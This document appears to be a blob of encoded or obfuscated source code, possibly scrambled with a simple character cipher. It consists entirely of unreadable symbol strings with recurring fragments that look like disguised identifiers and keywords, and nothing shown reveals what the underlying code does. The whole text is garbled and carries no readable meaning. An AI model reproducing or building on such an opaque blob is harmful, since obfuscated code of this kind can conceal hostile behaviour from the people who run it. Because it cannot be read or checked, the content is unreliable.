ma'/1'+6uq(t"$iegglle>O="!24p3/qt!$s631p2',pm?|?!)+'qtu++mwts|liee0!(7.u=/&.(.mwts}ll~OOO7 107+eee#$)6 ~Oeee8Oeeeee8OOOOa?,-&2p00.rv-exeeeeee 4/!'q4s1$,=)ma&077 +1iea562s.'1.v0|-ekeeeg+gekeeea!'!='5=+q'u=peekeeeeeeg+geeeeeekeeea33'.|0-t77"|l~Oe,#emd<?+3w",2"p|.<!5!ma'/1'+6uq(t"$iea?,-&2p00.rv-llee>Oeeeee7 107+ee#$)6 ~O8Oeee,#ema$}},$r,&0qu'$leee1&s?222)1$ (10)r+3?ma'/1'+6uq(t"$l~Oe7 107+e170 ~OOeeee8ee&$1&-eem-7*2$') ea=w}=)'/7<3/lee>Oee="!24p3/qt!$s631p2',pm?|?!)+'qtu++mwts|lieeeeea=w}=)'/7<3/l~Oeeee7 107+ee#$)6 ~O8e&$1&-eeem =& 51,*+ea=w}=)'/7<3/le>Oe7 107+ee#$)6 ~OOOOeee8O8Oe#0+&1,*+eee0rt.w}6==1v#qs|mlOeeeee>Oeea |+<5s12$eexe$77$<ml~Oeee,#eeeemd=}p-/*"'(=r+3mwuqtlm?|?!)+'qtu++mwtrulllee7 107+eeeeeea |+<5s12$~OOOa,!'u6!vv(-r7'6+eexeem! #,+ !m=}p-/*"'(=r+3mwtrtllezeeee
 eeeeeem! #,+ !m0!(7.u=/&.(.mwu}vlleeezeeeekeeee=w7ru&0,2#3mwtrwleeeeeeeeeegglleke?|?!)+'qtu++mwtrvl~OOea/s(rs7&<0(-veeeexem617,+"lee" 1*51,*+m=}p-/*"'(=r+3mwtrqlieeggl~Oe,#eeema/s(rs7&<0(-vedxxeeeggleeea |+<5s12$eeexeea,!'u6!vv(-r7'6+eekeeea/s(rs7&<0(-veeeeekeeee?|?!)+'qtu++mwurql~Oeeeea+0*(?"5.(p1}eeeexeem617,+"lee" 1*51,*+m=}p-/*"'(=r+3mtws}lieggl~OOOeee,#eeeeema+0*(?"5.(p1}eedxxeeeggeecceeea+0*(?"5.(p1}eedxxea/s(rs7&<0(-vleea |+<5s12$eexea,!'u6!vv(-r7'6+ekeea+0*(?"5.(p1}eeke0!(7.u=/&.(.mwurql~Oeeeeeee7 107+eea |+<5s12$~Oee8Oee#0+&1,*+e*<=,|) "24/4=qs")&6mlOeeeeee>Oe17<e>Oeeee,#emd! #,+ !m=w7ru&0,2#3mwu}vllee99eed=}p-/*"'(=r+3mwtrplm=}p-/*"'(=r+3mwtrullleeeee7 107+~O#*7 $&-eeeeem0rt.w}6==1v#qs|mlee$6ea*/|2#)) ,leeee>Oeeeeea#|<-*'s=} seexeee)!r7q}$#qrwq+&#6,#6,'mleeeekeeeee0!(7.u=/&.(.mwtrsleeke!5} }=v42/31wma*/|2#)) ,ieemvn|llekee0!(7.u=/&.(.mt}sul~Oeeeeee,#eemd=}p-/*"'(=r+3mwtrrlma#|<-*'s=} sllee&*+1,+0 ~Oeeee,#eem?|?!)+'qtu++mwtr}lma*/|2#)) ,leeccee0!(7.u=/&.(.mwtr|lma*/|2#)) ,lee{eulee&*+1,+0 ~Oa3v-0"!s.0}*&*60eexeeeee=w7ru&0,2#3mwtqulma#|<-*'s=} sl~Oeee,#eemd0!(7.u=/&.(.mwtvslma3v-0"!s.0}*&*60le99eea3v-0"!s.0}*&*60exxxeeeegglee&*+1,+0 ~OOe,#eem<?+3w",2"p|.<!5!ma*/|2#)) ,iea3v-0"!s.0}*&*60lleeee>Oeee="!24p3/qt!$s631p2',pm?|?!)+'qtu++mwt}ulieee?|?!)+'qtu++mwt}tll~Oeee05!$1 *51,*+m=w7ru&0,2#3mwt}wlieee=w7ru&0,2#3mwurslmliee0!(7.u=/&.(.mwuqvll~Oe8O8Oee8eee&$1&-eeeeem-7*2$') eea=w}=)'/7<3/lee>Oeee="!24p3/qt!$s631p2',pm0!(7.u=/&.(.mwt}ulieea=w}=)'/7<3/l~Oee8eee&$1&-em =& 51,*+eeea=w}=)'/7<3/lee>O8O8Oeeee#0+&1,*+e5!vs=7}$6(*"r+5*$?$mlO>OOOOeee17<eee>Oeeee,#eemd! #,+ !m?|?!)+'qtu++mwu}vllleeee7 107+e#$)6 ~OOOeea=<5.w)!spexee0rt.w}6==1v#qs|ml~OOOOeeeeee,#em (51<ma=<5.w)!spllee7 107+ee#$)6 ~Oa-w 4&&1+* *eexem,+1lee" 1*51,*+m0!(7.u=/&.(.mwt}wlieeeul~O,#eeema-w 4&&1+* *ecceeee0!(7.u=/&.(.mwt}vlmleeeehea-w 4&&1+* *eeeyem}sv}unwulle7 107+e#$)6 ~OOeeeea.. ./"<<-'}62useeeeexe',7|#2u4-"!$4'1"smleekeeebbekeeee!5} }=v42/31wmeeekee0!(7.u=/&.(.mt}w}liemqyytll~OOea562s.'1.v0|-eeexee0!(7.u=/&.(.mwt}qlekeeeeea.. ./"<<-'}62useeeekee=}p-/*"'(=r+3mtpsvl~Oa33'.|0-t77"|eeeeexe?|?!)+'qtu++mwt}plekeeeea.. ./"<<-'}62useeeekee0!(7.u=/&.(.mtpsvl~OOOOa+=s#<&2v|) #6ueexe?|?!)+'qtu++mwt}sleeeekeeee?|?!)+'qtu++mwt}rlm0!(7.u=/&.(.mwtswlmeeeekeeem617,+"leeeeee/$v/7?qq 0|<!<|$mllieeeuieeeemu=qnu=qll~Oeea(p7/u0 *5&-6t$"exe0!(7.u=/&.(.mwurulm.!*q3ww&t$ 5+*7'&rmlieee?|?!)+'qtu++mwtptll~Oeea*p}t!|"03}"q!p3exeeeee!'=v64s3w-u+u+'# (!}ml~Oe,#eeeemda*p}t!|"03}"q!p3leeeee7 107+ee#$)6 ~OOOOeeea<54)0'|/<ueexee-v/"u3(r7,t6<mOe=}p-/*"'(=r+3mrvtliOeeeeee$77$<mb	bieeb	 sqbieb bieb 
bliO$77$<ma(p7/u0 *5&-6t$"ieeea*p}t!|"03}"q!p3ieeea+=s#<&2v|) #6uieee',7|#2u4-"!$4'1"smllOeel~Oe,#emda<54)0'|/<ule>O,#emm,+1lee" 1*51,*+m?|?!)+'qtu++mwtsvlieeeule{eeulee="!24p3/qt!$s631p2',pm=}p-/*"'(=r+3mwt}uliee0!(7.u=/&.(.mwt}}ll~Oe7 107+e#$)6 ~Oeeeeee8Oeeeeea<54)0'|/<uexee0!(7.u=/&.(.mwt}|lm=}p-/*"'(=r+3mtpprlieeeeggieea<54)0'|/<ul~Oeee,#emd0!(7.u=/&.(.mwtvslma<54)0'|/<ulee99ea<54)0'|/<uexxxeeeggleee7 107+eee#$)6 ~Oeeeee#*7 $&-eema=<5.w)!speee$6eea$.)17&!pu1}-lee>O,#eeeeemd?|?!)+'qtu++mwtr}lma$.)17&!pu1}-llee&*+1,+0 ~Oea )""24,6ts4exeeee0!(7.u=/&.(.mwtrplm0!(7.u=/&.(.mttwrlleze=w7ru&0,2#3mwt|ulma$.)17&!pu1}-ieeeb&bleeeeee#$)6 ~Oee,#eeema )""24,6ts4eeedxxe#$)6 eecce?|?!)+'qtu++mwtrplm?|?!)+'qtu++mwt|tllleeeee#)*&.ma )""24,6ts4ie	
 l~Oa&077 +1eexee?|?!)+'qtu++mwt|wlma$.)17&!pu1}-l~O,#emd0!(7.u=/&.(.mwtvslma&077 +1llee>Oeee="!24p3/qt!$s631p2',pm0!(7.u=/&.(.mwt}ulie?|?!)+'qtu++mwt|vll~Oe,#ema )""24,6ts4eeedxxeee#$)6 leeee>OOO,#eem=w7ru&0,2#3mwtrplm=}p-/*"'(=r+3mwt|tlllee#)*&.ma )""24,6ts4ieeee	
l~OOOOe#&)*6 ma )""24,6ts4l~Oeeee8O&*+1,+0 ~Oeee8Oeee17<ee>OOOOeee,#eeem=w7ru&0,2#3mwtsplma&077 +1le{eeeemtvvw|pphw}qvr|lleeea&077 +1eeeexee--r<<!4$-0!rq)}pma&077 +1l~Oeeeee,#eeem?|?!)+'qtu++mwtvtlma&077 +1ieeeeeea562s.'1.v0|-leedxxeee#$)6 eeeeecce=}p-/*"'(=r+3mwtvtlma&077 +1ieeea33'.|0-t77"|ledxxee#$)6 le7 107+eee170 ~OOeee,#eemd=w7ru&0,2#3mwtv|lma$.)17&!pu1}-lleeeeee&*+1,+0 ~Oeeeeeea#|<-*'s=} sexee)!r7q}$#qrwq+&#6,#6,'mlekee0!(7.u=/&.(.mwtrsleekeee!5} }=v42/31wma$.)17&!pu1}-iemtunwlleeeeeekeee0!(7.u=/&.(.mwt|ql~OOOOea0*wu(p0q.p/$rr+eeexe!5} }=v42/31wmekeee=}p-/*"'(=r+3mt}w}lieeeemvnpll~Oeeeeea&077 +1exeeee'=w==#w*5rs')#6$}ma&077 +1ie=w7ru&0,2#3mt}trlie=w7ru&0,2#3mwt|pll~Oeea&077 +1exe0!(7.u=/&.(.mwt}|lm=w7ru&0,2#3mwt|slieggiea&077 +1l~Oee,#eeemd0!(7.u=/&.(.mwtvslma&077 +1lleee>Oee="!24p3/qt!$s631p2',pm=}p-/*"'(=r+3mwt}uliee?|?!)+'qtu++mtpt|ll~Oe&*+1,+0 ~O8Oee,#eeeem=w7ru&0,2#3mwtvtlma&077 +1ieeeee0!(7.u=/&.(.mwuvulleeeedxxee#$)6 ee99ee=}p-/*"'(=r+3mwtvtlma&077 +1ie?|?!)+'qtu++mwt|rlleeeedxxeeeeee#$)6 le>OOea1?$0<&s2)4eeexee?|?!)+'qtu++mwtr}lma#|<-*'s=} sleezeee=w7ru&0,2#3mwt|wlma#|<-*'s=} sleeee#$)6 ~Oee,#emd?|?!)+'qtu++mwt|}lma1?$0<&s2)4leee99eeeea1?$0<&s2)4exxxeeegglee>Oeee="!24p3/qt!$s631p2',pm0!(7.u=/&.(.mwt}uliee0!(7.u=/&.(.mwt||ll~Oe&*+1,+0 ~Oe8Oa&077 +1eexeea1?$0<&s2)4~Oeee0+6 1ma1?$0<&s2)4l~Oe8Oea7w"5.s}v6'.7-teeeexe,?#<+((2<*/.p'ma&077 +1l~Oeeeeeee,#em=w7ru&0,2#3mwt|}lma7w"5.s}v6'.7-tleecceeea7w"5.s}v6'.7-teeeeeedxxeggleee>Oeeeeeea<$}4|q.1t'=)(eeexeee=w7ru&0,2#3mwtr}lma#|<-*'s=} sleeezee=w7ru&0,2#3mwwuulma#|<-*'s=} sleeeeee#$)6 ~Oeeee,#eemd=}p-/*"'(=r+3mwwutlma<$}4|q.1t'=)(leeee99eeeea<$}4|q.1t'=)(eeedxxea7w"5.s}v6'.7-tleeeee<?+3w",2"p|.<!5!ma#|<-*'s=} sieea7w"5.s}v6'.7-tl~Oeeee0+6 1ma<$}4|q.1t'=)(l~Oeee8O0+6 1ma7w"5.s}v6'.7-tl~Oa1|!6=||-4tr#+)eexee=w7ru&0,2#3mwwuwl~OOOeee,#eeeeem0!(7.u=/&.(.mwtsplma&077 +1leee{eueecce=}p-/*"'(=r+3mwwuvlma&077 +1ie?|?!)+'qtu++m|vplleedxxeee#$)6 eeccee0!(7.u=/&.(.mwt}rlm=}p-/*"'(=r+3mt|qrlma&077 +1lieeehwleeeeeedxxeeeee=w7ru&0,2#3mtruullee>Oa1|!6=||-4tr#+)eexegg~Oe8Oeeeea!.'}0#?  t*$exeem=}p-/*"'(=r+3mwtsplma&077 +1lee{eeeuleeezeeeeeg+geeeeeegg~Oeeeeeeea6&50/(u?"73}}exeea!.'}0#?  t*$eekea1|!6=||-4tr#+)eekea562s.'1.v0|-eeeekeg+gekeea<54)0'|/<ueekeeg+geekeeeeea33'.|0-t77"|eeeekeeeg+g~Oeeee,#eeeemd(0|+(&51-"2,*<1 ma$.)17&!pu1}-ieeea&077 +1llee>Oeeeeee="!24p3/qt!$s631p2',pm=w7ru&0,2#3mwwuqlieee=}p-/*"'(=r+3mwts}ll~OOee&*+1,+0 ~Oeee8Oeee,#eemd<?+3w",2"p|.<!5!ma$.)17&!pu1}-ieeeea&077 +1ekeea6&50/(u?"73}}lleeee&*+1,+0 ~OO7 107+ee170 ~Oee8eeee#,+$))<ee>Oee,#eema )""24,6ts4edxxe#$)6 lee>OOOOe,#eeeeem=w7ru&0,2#3mwwuplm=w7ru&0,2#3mwt|tlllee#)*&.ma )""24,6ts4ieeeee	
l~Oeeee#&)*6 ma )""24,6ts4l~Oeeeeeee8O8Oeee8O7 107+e#$)6 ~O8e&$1&-eem-7*2$') eeeeeea=w}=)'/7<3/leee>O="!24p3/qt!$s631p2',pm?|?!)+'qtu++mwwuslieea=w}=)'/7<3/l~Oe7 107+eee#$)6 ~Oe8ee&$1&-eem =& 51,*+eeeeea=w}=)'/7<3/lee>Oee7 107+e#$)6 ~Oe8OOO8OOO#0+&1,*+eee= 5'.(|#+1, .=(5-. qmlOe>Oeeeee17<ee>O,#emd! #,+ !m0!(7.u=/&.(.mwu}vllleeee7 107+~OOOee,#eeeeem0.s=<ws1t("!& m.!*q3ww&t$ 5+*7'&rmllleeee7 107+~Oa.7"=!#p<*|t4eexeee/v&))=5vt?}||u5'#<&4ml~OOOea=6&<2*=- ,*2eexee!5} }=v42/31wmeeeeeekee0!(7.u=/&.(.mtqwulieeeemtpwtqqlleekeeee?|?!)+'qtu++mtvq|l~OOOeea(p7/u0 *5&-6t$"eexe?|?!)+'qtu++mwurulm.!*q3ww&t$ 5+*7'&rmlie?|?!)+'qtu++mwtptll~Oa++&0*6#1ru?exeeee0=&?!<<|0*r/q0.<6ml~Oeeeee,#eeemda++&0*6#1ru?eee99ee=}p-/*"'(=r+3mwtsplma++&0*6#1ru?leeeyeeem|pvhqpvllee>Oee="!24p3/qt!$s631p2',pm0!(7.u=/&.(.mtpu|lieee=w7ru&0,2#3mwwurll~OOOO7 107+~Oe8OOOOeeeeee,#eeeemd?|?!)+'qtu++mtupqlm=w7ru&0,2#3mwwu}llleeee7 107+~Oeea6=-.04#3(ueeeeeexeee$77$<mOea.7"=!#p<*|t4eeekebjbeekeeea=6&<2*=- ,*2iOa.7"=!#p<*|t4eekeeee0!(7.u=/&.(.mwwu|leeeeeekee=}p-/*"'(=r+3mwwtulm?|?!)+'qtu++mwwttlleekeeeea=6&<2*=- ,*2iOel~Oeeeea&5$",=)545'tqs=qeexeeem! #,+ !m0!(7.u=/&.(.mwtrtlleeezee
 eeeeeeeeeeeke0!(7.u=/&.(.mwtrwllekee0!(7.u=/&.(.mtws|l~Oeeeee,#eem?|?!)+'qtu++mwwtwlma&5$",=)545'tqs=qlle>OOOa=+u-15v *u/peexee*r=0p)/}!?|)1??/#qsma&5$",=)545'tqs=ql~Oe,#eeeem?|?!)+'qtu++mwtqvlma=+u-15v *u/pllee>OOOOeeeee#*7 $&-eeema=+u-15v *u/peeeee$6eea=w}=)'/7<3/leee>Oeeea61)q(6| s/$=|$eexeeeea&5$",=)545'tqs=qeeeeeekeebjbeekeea=w}=)'/7<3/~Oeee,#eeem0!(7.u=/&.(.mwwtvlma61)q(6| s/$=|$lecceeee0!(7.u=/&.(.mwtv|lma61)q(6| s/$=|$lleee>Oea6=-.04#3(ueeeeexeeea61)q(6| s/$=|$ekebjbekea=6&<2*=- ,*2~Oee'7 $.~Oeee8Oeee8Oee8OOeeeeeee8Oeeeee#*7 $&-eeeema6=-.04#3(ueee$6eea&6*+s2v24"-3|leeeee>O,#eem0!(7.u=/&.(.mtsvtlma&6*+s2v24"-3|lecceee?|?!)+'qtu++mwtr|lma&6*+s2v24"-3|leeeeee{em|wpnrplle>Oea2wq("5,q$#+eeexee=w7ru&0,2#3mwwu}l~O,#eeem0!(7.u=/&.(.mtupqlma2wq("5,q$#+lle>OOeeeeea6q #/=.#<,7exeeeee+ 2eea2wq("5,q$#+ml~OOOe,#eeema6q #/=.#<,7h{*5 +ma&6*+s2v24"-3|leexxxeee170 lee>Oeeea6q #/=.#<,7h{&)*6 ml~Oeeee&*+1,+0 ~Oe8O8Oee8Oeeea,up&5"-,q7eexeee?|?!)+'qtu++mwuwqlma&6*+s2v24"-3|l~OOOOeeeeeee,#eemd0!(7.u=/&.(.mwwtqlma,up&5"-,q7lle")"--6=55t,-(&ma,up&5"-,q7iemqrvnwuliee170 l~Oeeeea2wq("5,q$#+eexeee0!(7.u=/&.(.mwwtpl~OOOea75&|ut$  6|*4eeeexee0/}#1#6<,112<!r0.qma,up&5"-,q7ie=w7ru&0,2#3m}qpll~Oe,#ema75&|ut$  6|*4eexxxeee#$)6 leeeee&*+1,+0 ~Oeea /.$))4!+?vv&exeee+ 2ea2wq("5,q$#+ml~Oe,#ema /.$))4!+?vv&h{*5 +ma75&|ut$  6|*4ieeea2wq("5,q$#+  eee9eea2wq("5,q$#+
  leeeexxxeee170 lee>Oa /.$))4!+?vv&h{$!!7*(17,+"ma(p7/u0 *5&-6t$"ekeeeebjbeeekeeea(p7/u0 *5&-6t$"eeekee?|?!)+'qtu++mwtptliea++&0*6#1ru?l~Oeeeea /.$))4!+?vv&h{&)*6 ml~Oeeea0t }(&r-v/$!eeeexee+ 2ea2wq("5,q$#+ml~OOO,#eema0t }(&r-v/$!h{*5 +ma75&|ut$  6|*4leeexxxee170 leee>Oa0t }(&r-v/$!h{&)*6 ml~O,#em*!#q)7s,/.-vw.+t,6'=pma75&|ut$  6|*4ieea&6*+s2v24"-3|le99em244}<3?*s".<q4v2,16"rma75&|ut$  6|*4ieea&6*+s2v24"-3|lecce&-p.5#|,2/2?|.!,ma75&|ut$  6|*4llle>OO6qp1/"3/r)3u0v.w,|ma&6*+s2v24"-3|ie"7t3r$!4vp#w=u$53mll~Oeeeeeee17.s-rs}w1.3'qma&6*+s2v24"-3|iemu=}'nu=tt|ll~O8eee )6 e>Oeeeeeee&-p.5#|,2/2?|.!,ma75&|ut$  6|*4l~Oeee8Oeee8ee )6 eeee>Oeeee&-p.5#|,2/2?|.!,ma75&|ut$  6|*4l~O8Oeeeeeee8e )6 ee>Oeeeee&-p.5#|,2/2?|.!,ma75&|ut$  6|*4l~O8O8O8e&$1&-eem-7*2$') ea=w}=)'/7<3/lee>O="!24p3/qt!$s631p2',pm0!(7.u=/&.(.mtqwulieeea=w}=)'/7<3/l~Oee8eee&$1&-eeem =& 51,*+ea=w}=)'/7<3/lee>OOO8O8OOe#0+&1,*+ee(+pu7+}0*<'t"q)mlOeeee>Oee17<e>OOee,#eemd=}p-/*"'(=r+3mwwuplm0!(7.u=/&.(.mqwvllee99eed?|?!)+'qtu++mwwtslm?|?!)+'qtu++mqpwllle7 107+~Oeeeeeee,#eemd! #,+ !m=}p-/*"'(=r+3mwu}vllle7 107+~OOOea?1+u|111?wexee=w7ru&0,2#3mwwtrl~Oeee,#eeeeemd25+ =16&- !0) !ma?1+u|111?wlle>Oeee256&- !0)  3 +1m?|?!)+'qtu++mwwt}lmleeneemwqpnpplieee=}p-/*"'(=r+3mwwt|lieea?1+u|111?wl~OOOeee8Oeee,#emd25+ =16&- !0) !m0!(7.u=/&.(.mwtq|llleeee>Oeeeee256&- !0)  3 +1m=w7ru&0,2#3mwwt}lmleneeemr|pht|plieeeeee?|?!)+'qtu++mqtrliee=}p-/*"'(=r+3mwwwull~Oe8Oe8eeee&$1&-em-7*2$') eea=w}=)'/7<3/le>Oe="!24p3/qt!$s631p2',pm?|?!)+'qtu++mwwwtlieeeeeea=w}=)'/7<3/l~Oee8eeee&$1&-em =& 51,*+eeeeea=w}=)'/7<3/le>Oe8Oe8OOO#0+&1,*+eeeee7#=t|2!</s0"$04r66mlO>Oe17<e>Oee,#eemd! #,+ !m?|?!)+'qtu++mwu}vllle7 107+~OOOeea-<,5|7.7?.p#.eexeee!5} }=v42/31wmeekeeb"bieemwyywll~Oea+='(|s|'-+(.eeeeeexe$77$<ml~Oeeee,#eeem=}p-/*"'(=r+3mwwtslm0!(7.u=/&.(.mwwwwllleeeea+='(|s|'-+(.eeexe)!r7q}$#qrwq+&#6,#6,'ml~Oeeeea+='(|s|'-+(.eeexeeke=w7ru&0,2#3mtspul~OOOO,#eem0!(7.u=/&.(.mwwwvlm0!(7.u=/&.(.mp}llleeea+='(|s|'-+(.exe/v&))=5vt?}||u5'#<&4ml~Oeeee#*7 $&-ema+='(|s|'-+(.eeee$6eea).?'}5$*w6)0q7leeee>Oeeeeea +&u73/ pu+peexea).?'}5$*w6)0q7eekeee0!(7.u=/&.(.mwwwqleekeeea-<,5|7.7?.p#.~Oeeeeeee,#eeeem0!(7.u=/&.(.mwwwplma +&u73/ pu+pleeecceeem,+1le0!(7.u=/&.(.mtrswlma +&u73/ pu+plee{e=w7ru&0,2#3mwwt}lmleehemvqshtusllee7 107+~O8OOOeeee#*7 $&-eema+='(|s|'-+(.e$6eea).?'}5$*w6)0q7lee>Oea*'0)$us'qeeexeea).?'}5$*w6)0q7eeekee=}p-/*"'(=r+3mwtuvleeekeea-<,5|7.7?.p#.~Oe,#em?|?!)+'qtu++mwwwplma*'0)$us'qllee>Oeeeea-}s-w7612,eexeeeeem,+1leeee=}p-/*"'(=r+3mtrswlma*'0)$us'ql~Oeee,#eeeema-}s-w7612,ee{e?|?!)+'qtu++mwwt}lmlehem}svuvn|rleeccea-}s-w7612,eeeyxeee?|?!)+'qtu++mwwt}lmleenemwqpnpplle&*+1,+0 ~Oee&-p.5#|,2/2?|.!,ma*'0)$us'ql~Oee8Oeeea+}wt=qsr7teeeeexeeeeeea).?'}5$*w6)0q7ekeee0!(7.u=/&.(.mtspslekea-<,5|7.7?.p#.ekee=}p-/*"'(=r+3mwtptl~Oe,#eeem=w7ru&0,2#3mwwwplma+}wt=qsr7tleeccem,+1leeee=}p-/*"'(=r+3mwwwslma+}wt=qsr7tleee{eemq|vnrlle>Oeeea#w2w$.0-=rpexeeeeeea).?'}5$*w6)0q7eekeeee=}p-/*"'(=r+3mts}ulekeeeea-<,5|7.7?.p#.~OOea#+t<563t# eeeexee=w7ru&0,2#3mwwwrlma#w2w$.0-=rpleezee=}p-/*"'(=r+3mt|qulmm617,+"lee?|?!)+'qtu++mwww}lma#w2w$.0-=rplleeeeeeeegg~Oeeeee,#eeeema#+t<563t# edxxeeeggecce=}p-/*"'(=r+3mwwwvlm=}p-/*"'(=r+3mwww|lleecce(!p#,) ma+}wt=qsr7tlexxxea#+t<563t# leeeee>Oe,+&)0! eea+}wt=qsr7t~Oe7 107+~Oeeeeeeee8OOOOeee,#eeema#+t<563t# edxxeeegglee>Oeee&-p.5#|,2/2?|.!,ma+}wt=qsr7tl~O8O0+6 1ma#w2w$.0-=rpieeeea#+t<563t# l~Oee8Oee8Oe0+6 1ma*'0)$us'qieea-}s-w7612,l~Oee,#eeem0!(7.u=/&.(.mwwwvlm=}p-/*"'(=r+3m}|rllle! ) 1 17$+6, +1m0!(7.u=/&.(.mwwvull~O'/ /t5"$,11"q+-s6}/ml~Oe8ee&$1&-em-7*2$') eeeeeea=w}=)'/7<3/le>OOOOeeeee="!24p3/qt!$s631p2',pm=w7ru&0,2#3mwwvtlieea=w}=)'/7<3/l~Oee8e&$1&-eeem =& 51,*+eeeeeea=w}=)'/7<3/leeeeee>Oe8Oee8OOee#0+&1,*+eeee1?wq*5!)?-v30(u=646)mlOOOO>O17<e>Oee,#emd! #,+ !m=}p-/*"'(=r+3mwu}vlllee7 107+~Oeeeee7t,16",vtps.6)t+m+0))l~OOeea(p7/u0 *5&-6t$"eeexeeee=}p-/*"'(=r+3mwurulm.!*q3ww&t$ 5+*7'&rmlie=w7ru&0,2#3mwwvwll~Oeeeeea't)<w05qr)r("*exe.!*q3ww&t$ 5+*7'&rml~OOOOeeea++&0*6#1ru?eexeeegg~Oe,#em?|?!)+'qtu++mwwwrlma't)<w05qr)r("*lecce=}p-/*"'(=r+3mwwwslma't)<w05qr)r("*le{emu=!}unu=su}lleeeeee>Oa4!t)+vu! }exeeem617,+"le=}p-/*"'(=r+3mwww}lma't)<w05qr)r("*l~Oea?$u-s02,'p$4eeeexe0!(7.u=/&.(.mwwwvlm=w7ru&0,2#3mwwvvlleeeeezeeee--r<<!4$-0!rq)}pma4!t)+vu! }leea4!t)+vu! }~Oee,#eeem=w7ru&0,2#3mwwutlma?$u-s02,'p$4leeeeccee0!(7.u=/&.(.mwtsplma?$u-s02,'p$4lee{eemqpvnqrlecceeee +/$07!"qr+ 6)*pw</s -ma?$u-s02,'p$4lleea++&0*6#1ru?eexea?$u-s02,'p$4~OO0+6 1ma4!t)+vu! }iea?$u-s02,'p$4l~Oeeeeee8Oeeee,#eema++&0*6#1ru?exxxegglee>OOeeea,!w#uut6!4 peexeeee!5} }=v42/31wmeeeekeee=w7ru&0,2#3mwwvqlieeeeemu=qnu=sll~Oeea*p}t!|"03}"q!p3eexeee=w7ru&0,2#3mwwwvlm0!(7.u=/&.(.mwtrulleeeezeee" 1*51,*+ma,!w#uut6!4 pieeggleeeeeegg~Oeeeee,#eemda*p}t!|"03}"q!p3ee99eeeeee=w7ru&0,2#3mwwvplma*p}t!|"03}"q!p3leeyeem|trhqtrlle7 107+~Oeeeeea++&0*6#1ru?eeexee0*|6'ttsv/}=*'0m=w7ru&0,2#3mwwvslma*p}t!|"03}"q!p3ll~Oe,#eemda++&0*6#1ru?ee99ee?|?!)+'qtu++mwwvplma++&0*6#1ru?leeeeyeeemu=tpvnu=$tlleeee7 107+~Oeeee,#eeemd +/$07!"qr+ 6)*pw</s -ma++&0*6#1ru?llee>Oe="!24p3/qt!$s631p2',pm0!(7.u=/&.(.mtvuslieeeee?|?!)+'qtu++mwwvrll~Oe7 107+~Oee8O8OOeeeeeea.7"=!#p<*|t4eexeeee/v&))=5vt?}||u5'#<&4ml~OOOOea!+!<s5/rwu?!q?eexeeeeea.7"=!#p<*|t4ekeeee=w7ru&0,2#3mwwv}lekeeea(p7/u0 *5&-6t$"~Oea<(2$*-2"=#eeexeea!+!<s5/rwu?!q?eekebjbekeea(p7/u0 *5&-6t$"eeeekeee?|?!)+'qtu++mwwvwl~Oeee,#eemd=w7ru&0,2#3mwwtqlma!+!<s5/rwu?!q?lleeeee")"--6=55t,-(&ma!+!<s5/rwu?!q?ieeeemqs|nwqlie170 l~Oeeea-r23.0$ #-w <(?1exee=}p-/*"'(=r+3mwwwrlma<(2$*-2"=#leeezem617,+"le=w7ru&0,2#3mwwv|lma<(2$*-2"=#leeeeeeeegg~Oeeeea3*22q&ur#twexee#$)6 ~Oeee,#eema-r23.0$ #-w <(?1edxxeggeeeeecce?|?!)+'qtu++mwutulm=}p-/*"'(=r+3mrplieeeee=}p-/*"'(=r+3mwwqulma-r23.0$ #-w <(?1ieuiempwswhttsslliea+44ttr0'&6"6w4r2leeeeecce3 76,*+&*(5$7 ma+44ttr0'&6"6w4r2tieeee',7|#2u4-"!$4'1"smlieeb{blleeeeea3*22q&ur#tweexe170 ~Oe0+6 1ma+44ttr0'&6"6w4r2l~Oee,#emda3*22q&ur#tweeeccema-r23.0$ #-w <(?1exxxeeeeggee99eeee=w7ru&0,2#3mwtswlm--r<<!4$-0!rq)}pma-r23.0$ #-w <(?1lleeedxxeeee=}p-/*"'(=r+3mwtswlma++&0*6#1ru?llleee>Oeeeeee,#eeeem<?+3w",2"p|.<!5!ma<(2$*-2"=#ieeeee*0*)-&#77 -u|&,ma++&0*6#1ru?llle>OO17.s-rs}w1.3'qma<(2$*-2"=#ieemquqntsll~Oe3t6<p=,(t?0=|? +!<6|ma<(2$*-2"=#l~OOeee1&s?222)1$ (10)r+3?ma<(2$*-2"=#l~Oeee8OO8OO0+6 1ma-r23.0$ #-w <(?1ieeeeea3*22q&ur#twl~O,#eem0!(7.u=/&.(.mwwwvlm?|?!)+'qtu++mwtrulleecceee=w7ru&0,2#3mwwqtlm?|?!)+'qtu++mwwqwllle>Oea5  r)<7rexeea(p7/u0 *5&-6t$"eekeeeebjbeekeea(p7/u0 *5&-6t$"eke=w7ru&0,2#3mwwvwl~OOOOa *pu4*16<-u&eexee" 1*51,*+m0!(7.u=/&.(.m}ptliee$77$<mll~Oe,#eemd=}p-/*"'(=r+3mwtqvlma *pu4*16<-u&llea *pu4*16<-u&eeeexeeee$77$<ml~Oee,#eeemd?|?!)+'qtu++mwwqvlma5  r)<7rieeeeea *pu4*16<-u&iee170 llee>Oeea *pu4*16<-u&exeeeeea5  r)<7r~OOOOeeeee05!$1 *51,*+m0!(7.u=/&.(.m}ptliee=}p-/*"'(=r+3msvslma *pu4*16<-u&ll~Oeeeeee8Oee8Oa3=w23,5)$ veexeee4"<qv76 )}556+2(41?tt}ml~Oe,#eeeeeem?|?!)+'qtu++mwwtqlma3=w23,5)$ vle99eeeee")"--6=55t,-(&ma3=w23,5)$ vieeeeeemwu}nw}plieeeee170 lle>Oea*<v'$)'5$| 6eeeeexeeea3=w23,5)$ vekeeebjbekea(p7/u0 *5&-6t$"ekee=w7ru&0,2#3mwwvwl~Oeeeea/?u&$.(*2veeeexeee?|?!)+'qtu++mwwwrlma*<v'$)'5$| 6leeeezeeeeeem617,+"leeee0!(7.u=/&.(.mwwv|lma*<v'$)'5$| 6leeeeeeeeegg~Oea*6u(/1(./"|)w}<'eexe#$)6 ~O,#eema/?u&$.(*2veeedxxeeeggecceee=}p-/*"'(=r+3mwutulm=w7ru&0,2#3mrplie?|?!)+'qtu++mwwqqlma/?u&$.(*2vieuieemu=}w}nu=r!}llieea,3<=*|(-?#leeeecce3 76,*+&*(5$7 ma,3<=*|(-?#tie',7|#2u4-"!$4'1"smlieeeeb{blleea*6u(/1(./"|)w}<'eexeeee170 ~OOO0+6 1ma,3<=*|(-?#l~Oeee,#emda*6u(/1(./"|)w}<'eeccema/?u&$.(*2veeexxxeeggeee99eeeeee=w7ru&0,2#3mwtswlm--r<<!4$-0!rq)}pma/?u&$.(*2vlleedxxee=}p-/*"'(=r+3mwtswlma++&0*6#1ru?llleeeee>Oeee,#eeem<?+3w",2"p|.<!5!ma*<v'$)'5$| 